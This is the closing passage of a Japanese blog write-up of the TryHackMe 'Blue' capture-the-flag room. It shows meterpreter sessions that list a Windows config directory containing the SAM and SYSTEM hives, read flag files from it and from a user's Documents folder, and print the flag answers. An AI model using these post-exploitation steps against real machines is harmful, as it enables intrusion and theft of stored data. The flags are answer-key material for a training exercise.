100666/rw-rw-rw- 40632320 fil 2023-05-09 00:30:59 +0900 SOFTWARE
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:10 +0900 SOFTWARE.LOG
100666/rw-rw-rw- 262144 fil 2023-05-09 00:30:59 +0900 SOFTWARE.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 SOFTWARE.LOG2
100666/rw-rw-rw- 65536 fil 2019-03-18 07:21:19 +0900 SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-03-18 07:21:19 +0900 SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.
regtrans-ms
100666/rw-rw-rw- 524288 fil 2019-03-18 07:21:19 +0900 SOFTWARE{016888c9-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.
regtrans-ms
100666/rw-rw-rw- 12582912 fil 2023-05-09 00:31:58 +0900 SYSTEM
100666/rw-rw-rw- 1024 fil 2011-04-12 17:32:06 +0900 SYSTEM.LOG
100666/rw-rw-rw- 262144 fil 2023-05-09 00:31:58 +0900 SYSTEM.LOG1
100666/rw-rw-rw- 0 fil 2009-07-14 11:34:08 +0900 SYSTEM.LOG2
100666/rw-rw-rw- 65536 fil 2019-03-18 07:21:22 +0900 SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf
100666/rw-rw-rw- 524288 fil 2019-03-18 07:21:22 +0900 SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.re
gtrans-ms
100666/rw-rw-rw- 524288 fil 2019-03-18 07:21:22 +0900 SYSTEM{016888cd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.re
gtrans-ms
040777/rwxrwxrwx 4096 dir 2018-12-13 08:03:05 +0900 TxR
100666/rw-rw-rw- 34 fil 2019-03-18 04:32:48 +0900 flag2.txt
040777/rwxrwxrwx 4096 dir 2010-11-21 11:41:37 +0900 systemprofile
flag2.txtがありましたので、覗いてみます。
meterpreter > cat flag2.txt
flag{sam_database_elevated_access}
Answer
flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.(フラグ3? この旗は略奪に最適な場所にあります。結局のところ、管理者は通常、非常に興味深いものを保存しています。)
最後にflag3を見つけます。といっても先ほど見つけてしまっているのですが。
meterpreter > cd /
meterpreter > cd Users\\Jon\\Documents\\
meterpreter > ls
Listing: C:\Users\Jon\Documents
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2018-12-13 12:13:31 +0900 My Music
040777/rwxrwxrwx 0 dir 2018-12-13 12:13:31 +0900 My Pictures
040777/rwxrwxrwx 0 dir 2018-12-13 12:13:31 +0900 My Videos
100666/rw-rw-rw- 402 fil 2018-12-13 12:13:48 +0900 desktop.ini
100666/rw-rw-rw- 37 fil 2019-03-18 04:26:36 +0900 flag3.txt
flag3.txtの中身も覗いてみましょう。
meterpreter > cat flag3.txt
flag{admin_documents_can_be_valuable}
Answer
まとめ
今回は、TryHackMeの「Blue」というRoomをやってみました。
meterpreterというのは初めて利用しましたが、すごく便利なツールでだなと感じましたね。
参考文献・サイト
Medium(Utkarsh Rai):https://infosecwriteups.com/tryhackme-blue-671e0095bc45